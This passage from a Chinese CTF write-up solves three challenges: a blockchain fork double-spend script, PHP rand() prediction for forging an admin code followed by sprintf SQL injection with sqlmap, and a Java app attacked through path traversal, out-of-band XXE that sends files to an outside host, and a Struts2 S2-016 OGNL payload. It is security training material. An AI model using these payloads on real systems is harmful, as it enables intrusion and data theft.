            if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input:
            raise Exception(
                "You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)

    block = create_block(block['prev'], block['nonce'], block['transactions'])
    block_hash = int(block['hash'], 16)
    if block_hash > difficulty:
        raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height'] + 1
    if len(session['blocks']) > 50:
        raise Exception(
            'The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']:
        raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True
发现会将每次生成的block的hash与difficulty进行比较,只要block_hash<=difficulty,就可以成功添加到区块链末尾。这里我们可以写一个爆破区块的函数:
def burst(b, difficulty, msg=""):
    nonce = 0
    while nonce < 2**32:
        b['nonce'] = msg + str(nonce)
        b['hash'] = hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce += 1
只需更改nonce的值就可以,而transactions由于后来的都是空块没有操作,所以不用计算。
这时再看钻石如何购买,毕竟我们的最终目的是买两个钻石。
@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(
            utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(
            tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg
如果商店地址钱包有100w则增加一个钻石,并将钱包的钱进行转储。
好了,这下思路清晰了:
1.从创世区块重新挖矿至区块高度最高
2.此时银行余额 100w
3.使用后门向商店转账100w
4.挖出一个新区块,确认获得钻石
5.从上一次银行余额为 100w的区块开始,再次挖矿至区块高度最高
6.使用后门向商店转账
7.挖出一个新区块,确认获得钻石
8.访问 /flag 获得 flag
让我们看一张图来将思路理清楚

0x03 payload

 

# -*- coding:utf-8 -*-
# written by python2.7

import hashlib
import json
import uuid
import requests

EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)
# 以下四个常量填写自己的
GENESIS_BLOCK_HASH = "7cb4baca51b2502163d58cc34babf9b5b826f6b68246270ee399e742e42ad759"
SHOP_ADDR = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"
INPUT = "e2bbbda8-2880-4452-9a40-728248e773e0"
SIGNATURE = "ae84bcbd023e98273af351dbf9da620bbda6a90de7e0d80dee473b2b9ffd0a4dc395b8b533fe5e79f1c5d1519c772a70"
s = requests.Session()


def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()


def hash_reducer(x, y):
    return hash(hash(x) + hash(y))


def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])


def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])


def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash']
                              for utxo in tx['output']], EMPTY_HASH)
    ])

# 爆破区块


def burst(b, difficulty, msg=""):
    nonce = 0
    while nonce < 2**32:
        b['nonce'] = msg + str(nonce)
        b['hash'] = hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce += 1

# 获得空区块


def emptyBlock(prevHash, msg):
    block = {}
    block['prev'] = prevHash
    block['transactions'] = []
    return burst(block, DIFFICULTY, msg)

# 获得transactions


def getTrans():
    utxo = {'id': str(uuid.uuid4()), 'addr': SHOP_ADDR, 'amount': 1000000}
    utxo['hash'] = hash_utxo(utxo)
    tx = {'input': [INPUT], 'signature': [SIGNATURE], 'output': [utxo]}
    tx['hash'] = hash_tx(tx)
    return [tx]


def headers(session):
    headers = {
        "Host": "116.85.48.107:5000",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8",
        "Cookie": "session={}".format(session),
        "Connection": "close",
        "Content-Type": "application/json"
    }
    return headers


def myprint(b):
    return json.dumps(b)


def main():
    # session 修改为自己的cookie
    session = ".eJzNll1vozgYhf_KKte9AANNGGkvwpIgorERiQljr1YjvgoYSKsmnQSP-t_3kPnaaVdzsdpZbaq0qYPx6_Oe55iPs7y_L7rj7M3HmeMQs6rmd5lrE3Lrmqbl2M6c5K6dEdNxy2peEsNy7bmzWJBi4dr53HDssnCdeUUy25zu0WTHZvr7Sz57M2M8GWm67xmRTcTjkSrhUL7SjMcm05s24tuGqpUZpVtcg-996jC_MCO_HoWuHRaEFvUTQwYY52VPh5VB419_nT3fzJqqrZvT7A25mR3uD0X1dVGx8_r8nWdUO6_NA1dl508THh6rD98u4oXBgn1LldfTILwwQs-SbxXVhU39dYcKHIw7dIgdqWJTTNdxrB5Qg_I9Kq9NwVcXqoWmwcqSPDbE54VOj9nhmBWn9v4AWX__A0PzIrfzrMgcMyeOQcxbq3QWRWFhML9zcydfkNu72_x2QexbMjeqynLdam6TyiZZOXfc18oS1rJg0wiyMmkajowvR8qFln5iC0L19btBOEKhVj8kUsmWqXpkvhiZ9nrJqROlicX8TY93IyfVXyhrvFR2HzR9uN4-5Oleh_5SvzUemrxdoG1LJ1yxe5E6SqaXY26FdU7sWhw2D_lwxGdRF2SvsPcuRGFZevlQvotrObjj9D-ued0h3PT8r7-Xf9uhF9pSElqC10bkJ6bQgqD30DkeJV9ZLIWjgxWJODQm8A0PL0IlBlOyF0NyZlx2IoVv1Lql0JiRdQv3d19c2x4enk6TKW5m90-nT58_zrKyfPxmTbVBq_pWKmoDGMCB6bxDa-Mzxhzq73sZrAxBsEy6GkUqLmyILcr7ll1bXhhCMYDloa1lg_GeBQDMX_csDWHVwha66eUQE2xFU8xhenmBnfVk66nMbLh_OqA207i-br4XKOIbzJbd1Ti8A9LiEkEcqulZKKyQAiwNXP0CFSdWBGNGfIlqWS-n3Whgk1JcR1GtbKRaK_oZnrb8uozkm1YMmw69OFFV2_Q3w2B-Mr7lfcP85YnpEALFNjZkUZKcZ8_PkPXY1ofs9PRYXdGb4Mvmtl3lxKiM3JwXRmUX1nxhmOVi4Rq5S0r3znZyozJN2yhs08ndhZMh-24tI5tXtl28gu9nhscX-MyX8O1W6zDenevdzvP4zkt2q6SOu3W0G72Im0XzCqCfGRE_BkgGU5SHJh22SmgPDiwHOQhLBkxFKWugXQNXozLWC1TEeNNNeka-p6TqCGA7s2tVk6PhjQBz6u8B-sce-QF5EZ-Ar0dK9pi876PpyOGhLYYYx5EwpA9C0lAzFZoilS2C4hKlUxBscbx1FkUQRMGkcGjLNMYxtoVHtgNLp_v1kw69IFATfojS1Rk-gndQoN5OYXH5K3nu9fUCvOn8FDokQPYi-XqIeKEn0QTOUwhuMV3AcOGF-vU58q_nLgTEWRskaOUGZl3BqJ3FOBbXxYUiCthr8FiKffrURrKcrkkyGoZUS_IW6RH53YlxHM1-0133GOw7gHfzfw6xlypqb5C-VEL1PX7blCeYE-soWA_AFJAsL0x3QFT2TKN1Exo-kB_oBAfq8jo5MMX8CawY0jStXL5WkU_U90jJ-iTVXkU7qOgL6y2vp_Q7yTRBDkKKqz1Z_zq-vmiZJjZgVbDhmSoGWwJSzRCbFOtvoXEP_wucS5sWmhLBu7MMEmjkIYpQa4rzSbOWDqEzxTb0mp6osGcgFgBTzQbJ4RbdDzSlppz2xXsFN42w6MQMfrC5ujpUx_b4_vrE-P4_ex4Z758e35ct2nkokTbG858lvWhh.DgANcA.6CMFZnK_d-iV9nVLo8ptBTY2ejM"
    cookies = {"session": session}
    req = s.get(
        "http://116.85.48.107:5000/b9ca5f959dd7e/", cookies=cookies)
    block1 = {}
    block1["prev"] = GENESIS_BLOCK_HASH
    block1["transactions"] = getTrans()
    block1 = burst(block1, DIFFICULTY)
    # 创世区块
    req1 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=myprint(block1), headers=headers(session))
    print "req1:"
    print req1.content
    # 区块二   因为reset,此时链最长(少则一次多则两次)钻石+1 商店转走钱 此时区块长度为3(商店转走会生成一个新的区块)
    session2 = req1.headers['Set-Cookie'].split(";")[0][8:]
    block2 = emptyBlock(block1['hash'], "empty2")
    req2 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block2), headers=headers(session2))
    print "req2:"
    print req2.content
    # 区块三   从区块二开始挖矿
    session3 = req2.headers['Set-Cookie'].split(";")[0][8:]
    block3 = emptyBlock(block2['hash'], "empty3")
    req3 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block3), headers=headers(session3))
    print "req3:"
    print req3.content
    # 区块四   这时链变为最长的了,钻石+1 商店转走  区块 长度变为5
    session4 = req3.headers['Set-Cookie'].split(";")[0][8:]
    block4 = emptyBlock(block3['hash'], "empty4")
    req4 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block4), headers=headers(session4))
    print "req4:"
    print req4.content

    # 区块五  这确保链会最长
    session5 = req4.headers['Set-Cookie'].split(";")[0][8:]
    block5 = emptyBlock(block4['hash'], "empty5")
    req5 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
                  data=json.dumps(block5), headers=headers(session5))
    print "req5:"
    print req5.content

    # 获取flag
    session6 = req5.headers['Set-Cookie'].split(";")[0][8:]
    req6 = s.get("http://116.85.48.107:5000/b9ca5f959dd7e/flag",
                 headers=headers(session6))
    print "flag:"
    print req6.content


if __name__ == '__main__':
    main()

0x04参考

5.我的博客

题目描述:
拿到源码文件 index.php、login.php、register.php,分析源码:
先看register.php:
<?php session_start(); include('config.php'); if($_SERVER['REQUEST_METHOD'] === "POST") { if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) { die("CSRF token error!"); } $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32); $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username'); $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password'); $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : ''; if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);

    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    if($code === $admin) {
        $identity = "admin";
    } else {
        $identity = "guest";
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password, `identity`) VALUES (:username, :password, :identity)');
    $sth->execute([':username' => $username, ':password' => $password, ':identity' => $identity]);

    echo '<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3Ealert(%22register%20success%22)%3Blocation.href%3D%22.%2Flogin.php%22%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />';
} else {
    ?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <title>Sign up</title>
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <link href="css/signin.css" rel="stylesheet">
  </head>

  <body>
    














<div class="container">

      














<form class="form-signin" action="register.php" method="post">
        














<h2 class="form-signin-heading">Please Sign up</h2>















        <input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
        <label for="inputUsername" class="sr-only">Username</label>
        <input type="text" name="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
        <label for="inputPassword" class="sr-only">Password</label>
        <input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required>
        <label for="inputCode" class="sr-only">Code</label>
        <input type="text" name="code" id="inputCode" class="form-control" placeholder="Code" required>
        <button class="btn btn-lg btn-primary btn-block" type="submit">Sign up</button>
      </form>















    </div>
















  </body>
</html>

<?php } ?>
1.判断csrf
2.判断username和password,并且不能为空及小于32位
3.查询username,看是否注册过
4.如果code === admin,就把当前注册用户identity设置为admin级别
5.写入数据库,跳转到登陆页面
再看login.php:
<?php session_start(); include('config.php'); if($_SERVER['REQUEST_METHOD'] === "POST") { if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) { die("CSRF token error!"); } $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username'); $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password'); if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);

    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }

    $sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);

    if ($sth->fetch()[0] === "admin") {
        $_SESSION['is_admin'] = true;
    } else {
        $_SESSION['is_admin'] = false;
    }

    #echo $username;
    header("Location: index.php");
} else {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="">
        <meta name="author" content="">

        <title>Signin</title>

        <link href="css/bootstrap.min.css" rel="stylesheet">
        <link href="css/signin.css" rel="stylesheet">

    </head>

    <body>

    













<div class="container">

        













<form class="form-signin" action="login.php" method="post">
            













<h2 class="form-signin-heading">Please Sign in</h2>














            <input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
            <label for="inputUsername" class="sr-only">Username</label>
            <input type="text" name="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
            <label for="inputPassword" class="sr-only">Password</label>
            <input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required>
            <button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
            <a href="register.php" class="btn btn-primary btn-lg btn-block" role="button">Sign up</a>
        </form>














    </div>















    </body>
    </html>


    <?php } ?>
1.判断csrf和post
2.输入username和password小于32位
3.判断identity是否是admin级别
4.跳转到index.php
再看index.php:
<?php
session_start();
include "config.php";

if (!isset($_SESSION['is_admin'])) {
    die('
 Please <a href="login.php">login</a>!');
}

if (!$_SESSION['is_admin']) {
    die('You are not admin. 
 Please <a href="login.php">login</a>!');
}

if(isset($_GET['id'])){
    $id = addslashes($_GET['id']);
    if(isset($_GET['title'])){
        $title = addslashes($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

    foreach ($pdo->query($sql) as $row) {
        echo "












<h1>".$row['title']."</h1>













".$row['content'];
        die();
    }

}


?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Admin</title>

    <link href="css/bootstrap.min.css" rel="stylesheet">
    <link href="css/sticky-footer.css" rel="stylesheet">

  </head>

  <body>

    












<div class="container">
      












<div class="page-header">
        












<h1>文章列表</h1>













      </div>













      












<div class="lead">
          












<li><a href='?id=1'>Welcome!</a>
</li>













          












<li><a href='?id=2'>Hello,world!</a>
</li>













      </div>













    </div>














    












<footer class="footer">
      












<div class="container">
        

©2017 Admin

      </div>













    </footer>













  </body>
</html>
1.判断是否是admin级别,是就可以访问 真的index.php
2.判断id和title,并且对这两个参数用addslashes转义
3.两次sprintf,很明显是去年的一个wordpress4.8.3 sprintf造成的漏洞
思路很清晰了:
1.我们要成为identity为admin级别的用户
2.sprintf的引号逃逸注入
但是问题出现了:
 $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
这是随机截取字符串啊,怎么绕过呢?别慌,str_shuffle()在php7.1.0之前用的是rand()函数来经行随机打乱字符串的,所以我们只要找到了数字出现周期就可以推测出下一个截取后的admin。
我们可以知道伪随机数是根据上一次的数生成的:
而每次出现的伪随机数就是网页源码里的csrf,所以我们至少需要32个csrf便可以预测下一个。生成crsf的代码如下:
    randList = []
    for i in range(32):
        req = s.get(url + "register.php")
        randList.append(int(re.search(partten, req.text).group(1)))
    for i in range(32, 120):
        #rand的范围是 0 -max    max的范围是32767 - 2147483647 (机器决定的,64位为2147483647)
        rand = (randList[i - 3] + randList[i - 31]) % 2147483647
        randList.append(rand)
    print("开始测试第33个csrftoken: " + str(randList[32]))
    req = s.get(url + "register.php")
    csrf = re.search(partten, req.text).group(1)
    print("url中的csrf是: " + csrf)
static void php_string_shuffle(char * str, long len TSRMLS_DC) / * {{{* /
{
	long n_elems, rnd_idx, n_left;
	char temp;
	/ * The implementation is stolen from array_data_shuffle * /
	/ * Thus the characteristics of the randomization are the same * /
	n_elems = len;

	if (n_elems <= 1) {
		return; }

	n_left = n_elems;

	while (--n_left) {
		rnd_idx = php_rand(TSRMLS_C);
		RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
		if (rnd_idx != n_left) {
			temp = str[n_left];
			str[n_left] = str[rnd_idx];
			str[rnd_idx] = temp; }
	}
}
所以用python改写如下:
def RAND_RANGE(__n, __min, __max, __tmax):
    return __min + (__max - __min + 1.0) * (__n / (__tmax + 1.0))


def shuffle(astr, randlist):
    n_elems = len(astr)
    astr = bytearray(astr, 'utf-8')
    if n_elems <= 1:
        return
    n_left = n_elems
    i = 0
    while n_left:
        n_left -= 1
        rnd_idx = randlist[33 + i]
        i += 1
        rnd_idx = int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647))
        if rnd_idx != n_left:
            astr[n_left], astr[rnd_idx] = astr[rnd_idx], astr[n_left]
    return astr
最后附上完整代码:
# -*- coding:utf-8 -*-
# written by python3.5

import re
import requests

url = "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/"
s = requests.Session()
partten = '<input type="hidden" name="csrf" id="csrf" value="([0-9]*)" required>'


def RAND_RANGE(__n, __min, __max, __tmax):
    return __min + (__max - __min + 1.0) * (__n / (__tmax + 1.0))


def shuffle(astr, randlist):
    n_elems = len(astr)
    astr = bytearray(astr, 'utf-8')
    if n_elems <= 1:
        return
    n_left = n_elems
    i = 0
    while n_left:
        n_left -= 1
        rnd_idx = randlist[33 + i]
        i += 1
        rnd_idx = int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647))
        if rnd_idx != n_left:
            astr[n_left], astr[rnd_idx] = astr[rnd_idx], astr[n_left]
    return astr


def getAdmin():
    randList = []
    for i in range(32):
        req = s.get(url + "register.php")
        randList.append(int(re.search(partten, req.text).group(1)))
    for i in range(32, 120):
        #rand的范围是 0 -max    max的范围是32767 - 2147483647 (机器决定的,64位为2147483647)
        rand = (randList[i - 3] + randList[i - 31]) % 2147483647
        randList.append(rand)
    print("开始测试第33个csrftoken: " + str(randList[32]))
    req = s.get(url + "register.php")
    csrf = re.search(partten, req.text).group(1)
    print("url中的csrf是: " + csrf)
    astr = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    bstr = shuffle(astr, randList)
    calcStr = "admin###" + bstr[0:32].decode('utf-8')
    print(calcStr)
    data = {
        "csrf": csrf,
        "username": "youncyb",
        "password": "1",
        "code": calcStr
    }
    req = s.post(url + "register.php", data=data)
    print(req.text)


getAdmin()
成功注册为admin级别的用户后,进行sql注入测试,参考https://paper.seebug.org/386/
成功绕过,查询数据库名:
没问题直接丢到sqlmap进行测试:
python2 sqlmap.py -u "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=2&title=Hello,world!" --prefix="%1$'" --suffix="--+" -p title --cookie="PHPSESSID=c925455c7354393bb59eb02c8dfea971" --dump


6.喝杯JAVA冷静下

0x01题目分析

题目提示:
试了一下常用账户和密码,登陆失败,查看源码
解码得到:
admin: admin_password_2333_caicaikan
四个面板框没有任何有用的信息,看了下查看面板框的url:116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/rest/user/getInfomation?filename=informations/readme.txt
应该是要先读一些源文件下来,联想到这是JAVA程序而且第二题也有这样的 试一试读WEB-INF/web.xml
成功获取到web.xml ,尝试在GitHub找一下源码,搜索Quick4j By Eliteams.果然找到源码,下面是源码的重要目录:

利用WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class将他们全部读下来,在UserController.class中代码如下

0x02 代码分析

package com.eliteams.quick4j.web.controller;

import com.eliteams.quick4j.web.model.User;
import com.eliteams.quick4j.web.service.UserService;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import javax.annotation.Resource;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.validation.Valid;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.io.FileUtils;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

@Controller
@RequestMapping({"/user"})
public class UserController
{
  public static final String hintFile = "/flag/hint.txt";
  @Resource
  private UserService userService;
  
  @RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
  public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)
  {
    try
    {
      Subject subject = SecurityUtils.getSubject();
      if (subject.isAuthenticated()) {
        return "redirect:/";
      }
      if (result.hasErrors())
      {
        model.addAttribute("error", "����������");
        return "login";
      }
      if ((user.getUsername().isEmpty()) || (user.getUsername() == null) || 
        (user.getPassword().isEmpty()) || (user.getPassword() == null)) {
        return "login";
      }
      subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));
      
      User authUserInfo = this.userService.selectByUsername(user.getUsername());
      request.getSession().setAttribute("userInfo", authUserInfo);
    }
    catch (AuthenticationException e)
    {
      model.addAttribute("error", "���������������� ��");
      return "login";
    }
    return "redirect:/";
  }
  
  @RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
  public String logout(HttpSession session)
  {
    session.removeAttribute("userInfo");
    
    Subject subject = SecurityUtils.getSubject();
    subject.logout();
    return "login";
  }
  
  @RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"admin"})
  public String admin()
  {
    return "����admin����,������";
  }
  
  @RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresPermissions({"user:create"})
  public String create()
  {
    return "����user:create����,������";
  }
  
  @RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"guest"})
  public ResponseEntity<byte[]> download(HttpServletRequest request, String filename)
    throws IOException
  {
    if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {
      return null;
    }
    String path = request.getServletContext().getRealPath("/");
    System.out.println(path);
    
    File file = new File(path + File.separator + filename);
    HttpHeaders headers = new HttpHeaders();
    
    String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");
    
    headers.setContentDispositionFormData("attachment", downloadFielName);
    
    headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
    return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);
  }
  
  @RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"super_admin"})
  public String xmlView(String xmlData)
  {
    if (xmlData.length() >= 1000) {
      return "Too long~~";
    }
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    
    factory.setExpandEntityReferences(true);
    try
    {
      DocumentBuilder builder = factory.newDocumentBuilder();
      
      InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
      
      Document localDocument = builder.parse(xmlInputStream);
    }
    catch (ParserConfigurationException e)
    {
      e.printStackTrace();
      return "ParserConfigurationException";
    }
    catch (SAXException e)
    {
      e.printStackTrace();
      return "SAXException";
    }
    catch (IOException e)
    {
      e.printStackTrace();
      return "IOException";
    }
    return "ok~ try to read /flag/hint.txt";
  }
}
xmlView?很明显一个xxe代码注入漏洞
1.必须是super_admin,才能上传xml代码
2.提示读取flag/hint.txt
3.提交路径:rest/user/nicaicaikan_url_23333_secret?xmlData=
继续读代码,在security/SecurityRealm.class中看到super_admin的账户名,并且只要密码的hashcode == 0 就可以登陆,在https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero 找到字符串f5a5a608的hash等于0.

0x03 payload构造

提交到xmlData。(注意提交时,代码写在同一行,并且进行url编码)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ABC[<!ENTITY % remote SYSTEM "http://118.89.48.29/youncyb.xml">
%remote;
]>
youncyb.xml 代码如下:
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>">
%int;
%send;
回显如下:
继续改造代码为:
<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>">
%int;
%send;
回显如下:
继续改造代码:
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>">
%int;
%send;
回显如下:
structs2的漏洞,并给出了flag文件位置,结合题目提示2.3.1,google一下
S2-016,拿到payload:

?redirect:${#f=new java.io.File('/flag/flag.txt'),#fs=new java.io.FileInputStream(#f),#ISR=new java.io.InputStreamReader(#fs,'GBK'),#br=new java.io.BufferedReader(#ISR),#lText = #br.readLine(),#ISR.close(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#lText),#matt.getWriter().flush(),#matt.getWriter().close()}
继续改造代码:
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect%3a%24%7b%23f%3dnew+java.io.File(%27%2fflag%2fflag.txt%27)%2c%23fs%3dnew+java.io.FileInputStream(%23f)%2c%23ISR%3dnew+java.io.InputStreamReader(%23fs%2c%27GBK%27)%2c%23br%3dnew+java.io.BufferedReader(%23ISR)%2c%23lText+%3d+%23br.readLine()%2c%23ISR.close()%2c%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2c%23matt.getWriter().println(%23lText)%2c%23matt.getWriter().flush()%2c%23matt.getWriter().close()%7d">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>">
%int;
